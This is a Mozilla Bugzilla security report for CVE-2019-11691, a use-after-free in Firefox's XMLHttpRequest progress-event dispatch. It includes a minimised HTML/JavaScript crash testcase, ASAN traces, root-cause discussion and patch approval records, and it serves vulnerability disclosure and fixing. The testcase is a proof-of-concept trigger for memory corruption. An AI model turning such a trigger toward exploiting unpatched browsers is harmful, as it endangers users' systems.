Closed Bug 1542465 (CVE-2019-11691) Opened 5 years ago Closed 5 years ago

use-after-free in mozilla::dom::XMLHttpRequestMainThread::DispatchProgressEvent

Categories

(Core :: DOM: Core & HTML, defect)

Product:
Core
Component:
DOM: Core & HTML
Version:
68 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla68
Tracking Flags:
Tracking Status
firefox-esr60 67+ fixed
firefox66 --- wontfix
firefox67 + fixed
firefox68 + fixed

People

(Reporter: nils, Assigned: bwc)

Details

(Keywords: csectype-uaf, sec-high, Whiteboard: [fixed by bug 1545120][adv-main67+][adv-esr60.7+])

Attachments

(4 files)

crash.html (minimised testcase)
892 bytes, text/html
Details
ASAN output
17.39 KB, text/plain
Details
Bug 1542465: Simplify this callback management stuff a little.
47 bytes, text/x-phabricator-request
pascalc
: approval-mozilla-beta+
abillings
: sec-approval+
Details | Review
Bug 1542465: (ESR60 backport) Simplify this callback management stuff a little.
47 bytes, text/x-phabricator-request
lizzard
: approval-mozilla-esr60+
Details | Review

The following testcase crashes the latest ASAN build of Firefox 68.0a1 (SourceStamp=93075ec49df3982c26873b822d762bd3d8863fad). It requires a fuzzing build (--enable-fuzzing) and the pref user_pref("fuzzing.enabled",true). I am using a Python2 webserver (python -m SimpleHTTPServer) to host the testcase.

crash.html:

<script>
function spin() {
    var x=new XMLHttpRequest();
    x.open("POST","https://mozilla.org/",false);
    try{x.send("X");}catch(e){}
}
function start() {
	o305=document.documentElement;
	o339=new XMLHttpRequest();
    o1155=new XMLHttpRequest();
	o339.open('GET','/a'+ "a".repeat(204811),true);
	o339.onreadystatechange=fun0;
	o339.send(undefined);
	o1537=o1155.upload;
	o1537.onprogress=fun1;
}
function fun0() {
    o1155.open('POST','/x' + "a".repeat(204811),true);
	o1155.send(o305);
}
function fun1() {
    window.dump(1);
	o1155.open('GET','/a'+'a'.repeat(101111),true);
	o1155.send(undefined);
    for(var x=0;x<10;x++) spin();
    o1155 = null;
    o1537 = null;
    o339 = null;
    o305 = null;
    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
</script>
<body onload="start()"></body>

ASAN output:

==20801==ERROR: AddressSanitizer: heap-use-after-free on address 0x6170000c26c3 at pc 0x7f8f0918abbb bp 0x7ffe0541f310 sp 0x7ffe0541f308
WRITE of size 1 at 0x6170000c26c3 thread T0 (Web Content)
#0 0x7f8f0918abba in mozilla::dom::XMLHttpRequestMainThread::DispatchProgressEvent(mozilla::DOMEventTargetHelper*, mozilla::dom::XMLHttpRequestMainThread::ProgressEventType, long, long) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:1227:26
#1 0x7f8f091b3430 in mozilla::dom::XMLHttpRequestMainThread::HandleProgressTimerCallback() /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp
#2 0x7f8f091b2e60 in mozilla::dom::XMLHttpRequestMainThread::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3400:5
#3 0x7f8efee5dc51 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:562:40
#4 0x7f8efee5cfba in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11
#5 0x7f8efee35a15 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#6 0x7f8efee75a56 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#7 0x7f8efee7d71d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#8 0x7f8f001df7c4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5
#9 0x7f8f000b4a9e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#10 0x7f8f000b4a9e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#11 0x7f8f000b4a9e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#12 0x7f8f096a21b3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#13 0x7f8f0dc6798e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
#14 0x7f8f000b4a9e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#15 0x7f8f000b4a9e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#16 0x7f8f000b4a9e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#17 0x7f8f0dc66b1c in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
#18 0x5645a6183834 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#19 0x5645a6183834 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
#20 0x7f8f22d88b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#21 0x5645a60a8ebc in _start (/home/nils/browser/firefox/firefox/firefox+0x2debc)

0x6170000c26c3 is located 579 bytes inside of 688-byte region [0x6170000c2480,0x6170000c2730)
freed by thread T0 (Web Content) here:
#0 0x5645a61509e2 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7f8efec38751 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7
#2 0x7f8efec36e03 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2607:3
#3 0x7f8efec437e2 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3582:3
#4 0x7f8efec42a75 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3411:9
#5 0x7f8efec47b16 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3947:21
#6 0x7f8f036c0b8a in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1413:3
#7 0x7f8f0604ef69 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:66:3
#8 0x7f8f0df517c7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#9 0x7f8f0df517c7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#10 0x7f8f0f118e1d in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:3858:10
#11 0x1cf31cd64887 (<unknown module>)
#12 0x6210006391ff (<unknown module>)
#13 0x1cf31cd624de (<unknown module>)
#14 0x7f8f0f30f641 in EnterBaseline /builds/worker/workspace/build/src/js/src/jit/BaselineJIT.cpp:111:5
#15 0x7f8f0f30f641 in js::jit::EnterBaselineAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) /builds/worker/workspace/build/src/js/src/jit/BaselineJIT.cpp:189
#16 0x7f8f0df41b4d in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:1982:24
#17 0x7f8f0df1bbe8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#18 0x7f8f0df52138 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#19 0x7f8f0df53d82 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#20 0x7f8f0eb99e99 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2621:10
#21 0x7f8f05d44e10 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:266:37
#22 0x7f8f07014df2 in Call<nsCOMPtr<mozilla::dom::EventTarget> > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
#23 0x7f8f07014df2 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205
#24 0x7f8f06fc4c4a in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1045:22
#25 0x7f8f06fc7281 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1240:17
#26 0x7f8f06fa73f0 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5
#27 0x7f8f06fa73f0 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349
#28 0x7f8f06fa5618 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16
#29 0x7f8f06fac383 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1046:11
#30 0x7f8f06fb40a6 in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
#31 0x7f8f06f5e770 in mozilla::DOMEventTargetHelper::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/events/DOMEventTargetHelper.cpp:166:17
#32 0x7f8f06fd9b8a in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:178:13
#33 0x7f8f0918a909 in mozilla::dom::XMLHttpRequestMainThread::DispatchProgressEvent(mozilla::DOMEventTargetHelper*, mozilla::dom::XMLHttpRequestMainThread::ProgressEventType, long, long) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:1224:3

previously allocated by thread T0 (Web Content) here:
#0 0x5645a6150d63 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x5645a61855fd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7f8f09179593 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7f8f09179593 in mozilla::dom::XMLHttpRequest::Constructor(mozilla::dom::GlobalObject const&, mozilla::dom::MozXMLHttpRequestParameters const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequest.cpp:45
#4 0x7f8f059d5cbc in mozilla::dom::XMLHttpRequest_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:2553:64
#5 0x7f8f0df54a2f in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#6 0x7f8f0df54a2f in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
#7 0x7f8f0df54a2f in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
#8 0x7f8f0df399af in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3066:16
#9 0x7f8f0df1bbe8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#10 0x7f8f0df52138 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#11 0x7f8f0df53d82 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#12 0x7f8f0eb99e99 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2621:10
#13 0x7f8f05d44e10 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:266:37
#14 0x7f8f07014df2 in Call<nsCOMPtr<mozilla::dom::EventTarget> > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
#15 0x7f8f07014df2 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205
#16 0x7f8f06fc4c4a in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1045:22
#17 0x7f8f06fc7223 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1240:17
#18 0x7f8f06fa73f0 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5
#19 0x7f8f06fa73f0 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349
#20 0x7f8f06fa5618 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16
#21 0x7f8f06fac383 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1046:11
#22 0x7f8f09f589ba in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1098:7
#23 0x7f8f0cdc3d8c in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6596:21
#24 0x7f8f0cdc2eb8 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6397:7
#25 0x7f8f0cdc8a27 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
#26 0x7f8f01a51c25 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1313:3
#27 0x7f8f01a5080c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:872:14
#28 0x7f8f01a4b957 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:710:9
#29 0x7f8f01a4ea55 in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:598:5
#30 0x7f8f01a50334 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
#31 0x7f8eff11e6b2 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:568:22
#32 0x7f8f032f68ca in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/Document.cpp:7821:18
#33 0x7f8f032f68ca in mozilla::dom::Document::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/Document.cpp:7753
#34 0x7f8f032f532f in mozilla::dom::Document::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/Document.cpp:4873:3
#35 0x7f8f033fa8db in applyImpl<mozilla::dom::Document, void (mozilla::dom::Document::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1122:12
#36 0x7f8f033fa8db in apply<mozilla::dom::Document, void (mozilla::dom::Document::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1128
#37 0x7f8f033fa8db in mozilla::detail::RunnableMethodImpl<mozilla::dom::Document*, void (mozilla::dom::Document::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1174

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:1227:26 in mozilla::dom::XMLHttpRequestMainThread::DispatchProgressEvent(mozilla::DOMEventTargetHelper*, mozilla::dom::XMLHttpRequestMainThread::ProgressEventType, long, long)
Shadow bytes around the buggy address:
0x0c2e80010480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e80010490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e800104a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e800104b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e800104c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c2e800104d0: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
0x0c2e800104e0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa
0x0c2e800104f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e80010500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e80010510: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e80010520: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==20801==ABORTING

Attached file ASAN output —
Group: core-security → network-core-security
Group: network-core-security → dom-core-security
Component: DOM: Networking → DOM: Core & HTML
Keywords: csectype-uaf

Looking at the stacks, I think we're in XMLHttpRequestMainThread::DispatchProgressEvent(), then DispatchOrStoreEvent(aTarget, event) makes us spin a nested event loop, which destroys the XHRMT. I'm not sure why nsTimerImpl::Fire() isn't keeping the XHR alive.

Keywords: sec-high

nsXHRParseEndListener::HandleEvent doesn't root the XHR when making a callback, but I don't know if that might be related.

I'm not sure why nsTimerImpl::Fire() isn't keeping the XHR alive

That is a very good question. It looks like Fire() holds a ref in mCallbackDuringFire. But what happens if during the firing the timer gets reinitialized? And then possibly fires recursively, due to the event loop spin there, before the previous Fire() call returned? Can that happen? If so, that seems like it could wipe out mCallbackDuringFire and drop the ref too early, unless I'm missing something.

I do think we should go through and add MOZ_CAN_RUN_SCRIPT annotations to the XHR code in general, but this specific issue feels like a timer bug to me.

Flags: needinfo?(nfroyd)
Flags: needinfo?(docfaraday)

Yeah, if we went reentrant somehow I could see this happening. If we didn't need to keep the Callback around (for GetCallback) this could just be a stack variable, and we wouldn't have this problem. I think we're going to have to turn this into a stack variable though, and either put a copy or a pointer in a member variable. Kinda gross... I wonder if there's a less ugly way.

Flags: needinfo?(docfaraday)

I think maybe it would be acceptable to leave mCallback as the only member variable, and make a stack copy for Fire, and don't do any swapping. This would mean that GetCallback would return the most recently set callback, even when we were inside a different callback. Let me try that.

Assignee: nobody → docfaraday

I was wondering why we don't just have it as a stack variable... ;)

Do we have JS consumers of GetCallback? The only C++ consumer is nsDocShell::SuspendRefreshURIs and we can make it stop doing that...

(In reply to Boris Zbarsky [:bzbarsky, bz on IRC] from comment #8)

I was wondering why we don't just have it as a stack variable... ;)

Do we have JS consumers of GetCallback? The only C++ consumer is nsDocShell::SuspendRefreshURIs and we can make it stop doing that...

I don't know about JS consumers. We also have to worry about GetName I guess. If we can remove both of those (or use them only internally), I am all in favor of doing so.

I have a patch that seems to be ok on try. I can try reproducing the error, but you might want to try also.

Once I'm reasonably sure this fixes the bug, I can open a "simplifying this code" cover bug.

Flags: needinfo?(nils)

(In reply to Boris Zbarsky [:bzbarsky, bz on IRC] from comment #4)

I do think we should go through and add MOZ_CAN_RUN_SCRIPT annotations to the XHR code in general, but this specific issue feels like a timer bug to me.

bwc appears to be on the case.

(In reply to Boris Zbarsky [:bzbarsky, bz on IRC] from comment #8)

I was wondering why we don't just have it as a stack variable... ;)

Do we have JS consumers of GetCallback? The only C++ consumer is nsDocShell::SuspendRefreshURIs and we can make it stop doing that...

Yes please. If we have JS consumers of GetCallback--and I don't think we do--can we make those go away too?

Flags: needinfo?(nfroyd)

Bryon, I can confirm that I can not reproduce the error on the try build.

Flags: needinfo?(nils)

Sounds like we have an agreement on trying to get rid of GetCallback. Let me see if that's doable in short order.

So GetCallback and GetClosure are both used, but not much:

https://searchfox.org/mozilla-central/search?q=nsITimer%3A%3AGetCallback&case=true&regexp=false&path=

https://searchfox.org/mozilla-central/search?q=nsITimer%3A%3AGetClosure&case=true&regexp=false&path=

It seems reasonable to make these follow-up bugs, since we have a fix for this one.

Filed cover bug 1545120

Comment on attachment 9059268 [details]
Bug 1542465: Simplify this callback management stuff a little.

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: If someone was clued-in that this was a security bug, they might be able to work out that it has something to do with nsTimerImpl::Fire going reentrant, and if they knew how to cause a thread like main to go reentrant they might be able to exploit the bug. I have filed a cover bug (bug 1545120) and done the work over there to avoid calling too much attention to this.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which older supported branches are affected by this flaw?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Probably pretty easy.
  • How likely is this patch to cause regressions; how much testing does it need?: Any time we touch this timer stuff is risky, but the try pushes look pretty good.
Attachment #9059268 - Flags: sec-approval?

sec-approval+ for Mozilla-Central. Let's get beta and ESR60 patches made and nominated as well.

status-firefox66: --- → wontfix
status-firefox67: --- → affected
status-firefox-esr60: --- → affected
tracking-firefox67: --- → +
tracking-firefox68: --- → +
tracking-firefox-esr60: --- → 67+
Attachment #9059268 - Flags: sec-approval? → sec-approval+

Fixed by bug 1545120. Not sure how you want to handle the uplift requests here. The patch grafts cleanly as-landed to Beta but needs a rebased patch for ESR60.

Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 5 years ago
status-firefox68: affected → fixed
Flags: needinfo?(docfaraday)
Resolution: --- → FIXED
Whiteboard: [fixed by bug 1545120]
Target Milestone: --- → mozilla68

It probably makes sense to do uplift requests in this bug, but maybe it would be best to do the actual uplifts over at bug 1545120? What do you think Al?

I'll get a rebase for esr60 put together.

Flags: needinfo?(docfaraday) → needinfo?(abillings)

Do the actual uplifts in the other bug. That's fine. Just make sure we set the status flags here so we know it is fixed.

Flags: needinfo?(abillings)

Should the requests happen here (ie; do we want to keep the details of the uplift requests secret for now)? Or should I file the requests in bug 1545120 and be cagey about the details?

Flags: needinfo?(abillings)

File them here since that bug is open.

Flags: needinfo?(abillings)

Comment on attachment 9059268 [details]
Bug 1542465: Simplify this callback management stuff a little.

Beta/Release Uplift Approval Request

  • User impact if declined: Possible exploitation of a UAF vulnerability.
  • Is this code covered by automated tests?: No
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): This is a pretty well-encapsulated change, and the code's behavior has been simplified.
  • String changes made/needed: None

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: Possible exploitation of a UAF vulnerability.
  • User impact if declined:
  • Fix Landed on Version: 68
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): This is a pretty well-encapsulated change, and the code's behavior has been simplified.
  • String or UUID changes made by this patch: None
Attachment #9059268 - Flags: approval-mozilla-esr60?
Attachment #9059268 - Flags: approval-mozilla-beta?

Comment on attachment 9059268 [details]
Bug 1542465: Simplify this callback management stuff a little.

Uplift approved for 67 beta 14, thanks.

Attachment #9059268 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Comment on attachment 9059907 [details]
Bug 1542465: (ESR60 backport) Simplify this callback management stuff a little.

OK for 60.7esr.

Attachment #9059907 - Flags: approval-mozilla-esr60+
Attachment #9059268 - Flags: approval-mozilla-esr60?
Whiteboard: [fixed by bug 1545120] → [fixed by bug 1545120][adv-main67+][adv-esr60.7+]
Alias: CVE-2019-11691
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: